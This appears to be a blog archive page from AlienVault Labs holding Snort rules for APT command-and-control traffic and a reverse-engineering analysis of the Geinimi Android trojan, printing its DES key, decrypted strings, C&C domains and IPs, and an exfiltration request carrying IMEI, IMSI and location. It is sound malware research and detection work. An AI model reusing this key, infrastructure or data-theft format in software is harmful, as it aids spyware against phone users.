AlienVault R&D Labs Portal. Get the latest news from our research.
Header

Some APT C&C traffic Snort rules

February 14th, 2012 | Posted by jaime.blasco in Alienvault OSSIM | APT | Snort - (Comments Off)

Commandfive did a great job and published a research document that describes some APT C&C communication protocols used on the SK Communications hack and other recent attacks.

We have written some snort rules to detect the protocols described on the analysis.

We have tested some of them with real traffic from samples but others are based only on the protocols descriptions.

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”APT QDIGIT PROTOCOL detected”; flow:to_server,established; content:”|51 31 39 21 00|”; depth:5; reference:url,www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf; classtype:trojan-activity; sid:3000004; rev:1;)

alert tcp $HOME_NET any -> $EXTERNAL_NET [$HTTP_PORTS,12345] (msg:”APT UPDATE communicaction protocol detected”; flow:to_server,established; content:”X|2d|Session|3A|”; nocase; http_header; content:”X|2d|Status|3A|”; nocase; http_header; content:”X|2d|Size|3A|”; nocase; http_header; content:”X|2d|Sn|3A|”; nocase; http_header; content:”User|2d|Agent|3a| Mozilla|2f|4|2e|0 |28|compatible|3b| MSIE 6|2e|0|3b| Windows NT 5|2e|1|3b|SV1|3b|”; nocase; http_header; reference:url,www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf; classtype:trojan-activity; sid:3000005; rev:1;)

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”APT LURK communication protocol detected”; flow:established,to_server; content:”|4C 55 52 4B 30|”; depth:5; reference:url,www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf; classtype:trojan-activity; sid:3000006; rev:1;)

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”APT IP2B communicacion protocol detected”; flow:established,to_server; content:”|12 34 56 78 10 00 10 00|”; depth:8; content:”|00 18 09 07 20|”; distance:4; within:5; reference:url,www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf; classtype:trojan-activity; sid:3000007; rev:1;)

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”APT BB communication protocol detected”; flow:established,to_server; content:”|01 00 00 00|”; offset:4; content:”|01 04 01 00|”; distance:8; within:4; reference:url,www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf; classtype:trojan-activity; sid:3000008; rev:1;)

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”APT X-Shell 601 communication protocol detected”; flow:to_server,established; content:”|43 36 30 31|”; offset:16; depth:4; reference:url,www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf; classtype:trojan-activity; sid:3000009; rev:1;)

The Backdoor.Murcy traffic is already covered by “ETPRO TROJAN Backdoor.Win32.Murcy.A Checkin”.

The rules will be included on the EmergingThreats feed and Alienvault feed.

jaime.blasco

At AlienVault Jaime manages the Lab and runs the Vulnerability Research Team. Prior to working in the AlienVault lab he founded a couple of startups (Eazel, Aitsec) working on web application security, source code analysis and incident response. His background stems from a number of years working in vulnerability management, malware analysis and security researching.

More Posts - Website

Follow Me:
TwitterLinkedIn

In this chapter, we continue describing some of the trojan components. We realized that the code contains some ServerSocket stuff so let’s take a look at the system.

To obtain more information about a process on android we can upload the lsof tool to a rooted via adb tools. You can download the lsof static file here

To use the Android Debug Bridge (ADB) the device needs to have the debug mode enable:

Settings > Applications > Development > USB Debugging

Then connecting the device to the host computer using a USB cable or using the android emulator to simulate a phone we can use the adb tools. To upload the lsof binary:

jaime:tools jaimeblasco$ ./adb push lsof.static /data/
633 KB/s (3517525 bytes in 5.420s)

I recommend you to upload a busybox binary as well in order to be able to use commands like grep, find… You can obtain a busybox binary here

Then we can obtain a shell on the device running adb shell:

jaime:tools jaimeblasco$ ./adb shell
# id
uid=0(root) gid=0(root)
# cd /data/
# chmod 777 busybox
# chmod 777 lsof.static

Now we can use lsof to list interesting data about our process:

# ps|./busybox grep -i monk
app_32    526   33    109024 19224 ffffffff afd0eb08 S com.dseffects.MonkeyJump2
# ./lsof.static -p 526 2>/dev/null
COMMAND   PID     USER   FD   TYPE     DEVICE    SIZE NODE NAME
...
...
cts.Monke 526    10032    0u   CHR        1,3           42 /dev/null
cts.Monke 526    10032    1u   CHR        1,3           42 /dev/null
cts.Monke 526    10032    2u   CHR        1,3           42 /dev/null
cts.Monke 526    10032    3w   CHR      10,58           55 /dev/log/main
cts.Monke 526    10032    4w   CHR      10,56           57 /dev/log/radio
cts.Monke 526    10032    5w   CHR      10,57           56 /dev/log/events
...
...
cts.Monke 526    10032   10u  unix 0xc9f610c0         2515 socket
...
...
cts.Monke 526    10032   20u  unix 0xc9fdb260         2519 socket
...
...
cts.Monke 526    10032   26r   REG       31,1  570420  284 /data/app/com.dseffects.MonkeyJump2-1.apk
cts.Monke 526    10032   27r   REG       31,1  570420  284 /data/app/com.dseffects.MonkeyJump2-1.apk
cts.Monke 526    10032   28r   REG       31,1  570420  284 /data/app/com.dseffects.MonkeyJump2-1.apk
cts.Monke 526    10032   29u  IPv4       2534          TCP *:5432 (LISTEN)

I have removed almost all the data, you can access a complete dump here

As you can see the process has a listening socket on port 5432

Let’s start inspecting the code with the purpose of interacting with the listening socket. Before we begin looking at the code, this document comes handy to understand the Dalvik opcodes.

The thread that starts and manages the socket is defined in ./smali/com/dseffects/MonkeyJump2/jump2/j.smali

 

As we can see a ServerSocket object is created (from Lcom/dseffects/MonkeyJump2/jump2/e;->c), the accept() method is called and it returns a socket object to access java/io/InputStream and java/io/OutputStream to receive and send data. Let’s see how the ServerSocket is created:

Following the code we can see how the ServerSocket is created listening on port 0x15t 0x38t => 5432.

So, let’s continue analyzing the run() method of the previous j class.

Once the connection is established, the thread reads 256 bytes from the socket and builds a string, if the data received is “hi,are you online?” the program answer with he string “yes,I\’m online!”.

Then the client should send two bytes that the program will use later. Finally it sends 0xa 0×05 and closes the connection.

Based on the two bytes sent, the program does some checks.

It gets the string [const-string v0, "10.7"] from Lcom/dseffects/MonkeyJump2/jump2/e/k;->f() and split the string saving the integers to v0 and v1 respectively.

Then if the first byte we sent (v3) is greater than v1 (7) the program jumps to :cond_0.

Basically the program set a boolean variable on the service object that makes the service not to restart if the service stops. Finally it calls stopSelf() function to stop the service.

Let’s use this little script to recreate the communication to restart the service.

jaime:tools jaimeblasco$ python geinimi_comm.py 192.168.1.32 5432
Received "yes,I'm online!"
Sending 'p\x00'
Received '\n'
Received '\x05'
If we take a look at the android event log using "logcat -b events", we see that a destroy_service request has been sent
I/am_destroy_service(   61): [1140917416,com.dseffects.MonkeyJump2/.jump2.c.AndroidIME,301]

I have written a nmap script to remotely check the presence of the trojan. Download

jaime:nmap-5.35DC1 jaimeblasco$ ./nmap -v --script=geinimi -p5432 192.168.1.32
Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-01-04 17:49 CET
NSE: Loaded 1 scripts for scanning.
Discovered open port 5432/tcp on 127.0.0.1
Completed Connect Scan at 17:49, 0.00s elapsed (1 total ports)
NSE: Script scanning 127.0.0.1.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 17:49
Completed NSE at 17:49, 5.00s elapsed
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00013s latency).
PORT     STATE SERVICE
5432/tcp open  postgresql
|_geinimi: Geinimi trojan present

My conclusion is that the authors used this service during development but maybe the service was made to detect compromised phones. What do you think?.

On the other hand Tim Strazzere from Lookout, has just told me a better theory: he discovered that the 10.7 string is the SDK version so this is a way to update the trojan version.

 

jaime.blasco

At AlienVault Jaime manages the Lab and runs the Vulnerability Research Team. Prior to working in the AlienVault lab he founded a couple of startups (Eazel, Aitsec) working on web application security, source code analysis and incident response. His background stems from a number of years working in vulnerability management, malware analysis and security researching.

More Posts - Website

Follow Me:
TwitterLinkedIn

Last week a new trojan affecting Android phones has been discovered. Called Geinimi, the trojan is hidden into other existing apps.

At the moment, it has been detected only in third-party Chinese app markets and Google Android Market does not seem to be compromised.

The main difference between Geinimi and previously discovered Android Trojans is the potential to communicate with a remote C&C server.

On the first chapter we will analyze how to obtain some encrypted data that the trojan hides as well as the communication with the C&C server.

As we did in the previous analysis of Trojan-SMS.AndroidOS.FakePlayer.a we’ll use the android-apktool to obtain the app resources:

opensourcesim:~# apktool d MonkeyJump2.0.apk 
I: Baksmaling...
I: Loading resource table...
I: Decoding resources...
I: Loading resource table from file: /root/apktool/framework/1.apk
I: Copying assets and libs...

Be sure you use some case-sensitive filesystem because baskmali will crash with a case-insensitive filesystem (ofuscation??)

jaime:Downloads jaimeblasco$ apktool d MonkeyJump2.0.apk 
I: Baksmaling...
Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: File already exists: MonkeyJump2.0/smali/com/dseffects/MonkeyJump2/jump2/A.smali
	at brut.androlib.Androlib.decodeSourcesSmali(Unknown Source)
	at brut.androlib.ApkDecoder.decode(Unknown Source)
	at brut.apktool.Main.cmdDecode(Unknown Source)
	at brut.apktool.Main.main(Unknown Source)
Caused by: brut.androlib.AndrolibException: File already exists: MonkeyJump2.0/smali/com/dseffects/MonkeyJump2/jump2/A.smali
	at brut.androlib.src.SmaliDecoder.decodeClassDefItem(Unknown Source)
	at brut.androlib.src.SmaliDecoder.decode(Unknown Source)
	at brut.androlib.src.SmaliDecoder.decode(Unknown Source)
	... 4 more

Once we have the decoded resources we can find the crypto functions in ./smali/com/dseffects/MonkeyJump2/jump2/e/p.smali:

.method public static b([B)[B
    .locals 3
    const-string v0, "DES"
    :try_start_0
    new-instance v0, Ljavax/crypto/spec/DESKeySpec;
    sget-object v1, Lcom/dseffects/MonkeyJump2/jump2/e/k;->b:[B
    invoke-direct {v0, v1}, Ljavax/crypto/spec/DESKeySpec;->([B)V
    const-string v1, "DES"
    invoke-static {v1}, Ljavax/crypto/SecretKeyFactory;->getInstance(Ljava/lang/String;)Ljavax/crypto/SecretKeyFactory;
    move-result-object v1
    invoke-virtual {v1, v0}, Ljavax/crypto/SecretKeyFactory;->generateSecret(Ljava/security/spec/KeySpec;)Ljavax/crypto/SecretKey;
    move-result-object v0
    const-string v1, "DES"
    invoke-static {v1}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
    move-result-object v1
    const/4 v2, 0x1
    invoke-virtual {v1, v2, v0}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;)V
    invoke-virtual {v1, p0}, Ljavax/crypto/Cipher;->doFinal([B)[B
    :try_end_0
    .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
    move-result-object v0
    :goto_0
    return-object v0
    :catch_0
    move-exception v0
    const/4 v0, 0x0
    goto :goto_0

If we follow the function call Lcom/dseffects/MonkeyJump2/jump2/e/k;->b:[B (./smali/com/dseffects/MonkeyJump2/jump2/e/k.smali) and take a look at the routines:

    .array-data 0x1
        0x1t
        0x2t
        0x3t
        0x4t
        0x5t
        0x6t
        0x7t
        0x8t
    .end array-data

We obtain the default DES key used by the trojan. With the key, we find several arrays defined in ./smali/com/dseffects/MonkeyJump2/jump2/e/p.smali that are passed to the decryption function in runtime, example:

    :array_0
    .array-data 0x1
        0x55t
        0x35t
        0x2t
        0x34t
        0x86t
        0x64t
        0x21t
        0x53t
        0x1dt
        0x21t
        0x3dt
        0x3at
        0xd0t
        0xaft
        0xb6t
        0x57t
    .end array-data

Here you can download a python script to parse the arrays and print the decrypted data, the ouput is the following:

python decrypt.py ./smali/com/dseffects/MonkeyJump2/jump2/e/p.smali
debug_internel
debug_outer
_value@

http://180.168.68.34:8080/android/getAdXml.do

contactlist
smsrecord
deviceinfo
location
sms
register
call
PostUrl
TicketerText
TitleText
ContextText
ShowMode
call://
email://
map://
sms://
search://
install://
shortcut://
contact://
wallpaper://
bookmark://
http://
toast://
startapp://
.zip
tel://
smsto:
geo:
CmdID
AdID
I
D
content://sms/inbox
content://sms/sent
com.android.launcher.action.INSTALL_SHORTCUT
method=post&IMEI=
&IMSI=
&AdID=
&CPID=
&PTID=
&SALESID=
&msgType=
imei=
&imsi=
&sms=
&type=send
&latitude=
&longitude=
&type=receive
&phone=
&MODEL=%s&BOARD=%s&BRAND=%s&CPU_ABI=%s&DEVICE=%s&DISPLAY=%s&FINGERPRINT=%s&HOST=%s&ID=%s&MANUFACTURER=%s
&PRODUCT=%s&TAGS=%s&TIME=%s&TYPE=%s&USER=%s&SoftwareVersion=%s&Line1Number=%s&NetworkCountryIso=%s
&NetworkOperator=%s&NetworkOperatorName=%s&NetworkType=%s&PhoneType=%s&SimCountryIso=%s&SimOperator=%s
&SimOperatorName=%s&SimSerialNumber=%s&SimState=%s&SubscriberId=%s&VoiceMailNumber=%s&CPID=%s
&PTID=%s&SALESID=%s&DID=%s&sdkver=%s&autosdkver=%s&shell=%s
suggestsms://
silentsms://
method=postlink&IMEI=
&FeatureTag=
text://
method=show&IMEI=
suggestsms
skiptime
changefrequency
&DID=
&sdkver=
&autosdkver=
IMEI
IMSI
CPID
PTID
SALESID
DID
sdkver
autosdkver
latitude
longitude
???????nim?????tom?????????ybo
&applist=
applist
updatehost
www.widifu.com:8080;www.udaore.com:8080;www.frijd.com:8080;www.islpast.com:8080;www.piajesj.com:8080
;www.qoewsl.com:8080;www.weolir.com:8080;www.uisoa.com:8080;www.riusdu.com:8080;www.aiucr.com:8080;117.135.134.185:8080
install
uninstall
showurl
cmd cp
cmd pm
cmd rm
/data/
shell
cmd
kill
start
android.provider.Telephony.SMS_RECEIVED
@@smskey(
@@kill@(
smskiller
content://sms/conversations/

As we can see, the author took the trouble to hide the stored data that contains for example the C&C domains:

www.widifu.com:8080;
www.udaore.com:8080;
www.frijd.com:8080;
www.islpast.com:8080;
www.piajesj.com:8080;
www.qoewsl.com:8080;
www.weolir.com:8080;
www.uisoa.com:8080;
www.riusdu.com:8080;
www.aiucr.com:8080;
117.135.134.185:8080

If we do a static analysis of the trojan we observe http connections to these servers at five minute intervals. Example communication:

POST /getAdXml.do HTTP/1.1
User-Agent: Dalvik/1.1.0 (...)
Host: 117.135.134.185:8080
Accept: *, */*
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 295

params=113a080016d3838bd9864d760e82d73375da7fa36b5cee41f2abfdd9d0e04c3b9aaf93bf06ed0490e670b4ab4bce6ec9a131f8d368d6a0
99325da2742677388e569a08f1ae2507d0f2abfdd9d0e04c3bf77f7339d5b56855b58a6e3c30c4f07b3f7c0347e2a498ab8619d53210630
f7ec73056aebc1ae56e3fef18cbf35d11c14c372859361c628de3953343b5860f9aHTTP/1.1

We can find all the communication functions on /smali/com/dseffects/MonkeyJump2/jump2/e/n.smali.

If we take a look to the code, we realize that the “params” content is encrypted with the same DES key used to hide the previous data. So if we decrypt the data we obtain:

PTID=33050001&IMEI=000000000000000&sdkver=10.7&SALESID=0006&IMSI=310260000000000&longitude=0.0&latitude=0.0&DID=2001&autosdkver=10.7&CPID=3305

As we can see the trojan is sending personal data (device identifiers; IMEI, IMSI, coordinates…).

In the next chapter we will continue analyzing other advance trojan capabilities. I hope you liked it and happy new hunting year.

jaime.blasco

At AlienVault Jaime manages the Lab and runs the Vulnerability Research Team. Prior to working in the AlienVault lab he founded a couple of startups (Eazel, Aitsec) working on web application security, source code analysis and incident response. His background stems from a number of years working in vulnerability management, malware analysis and security researching.

More Posts - Website

Follow Me:
TwitterLinkedIn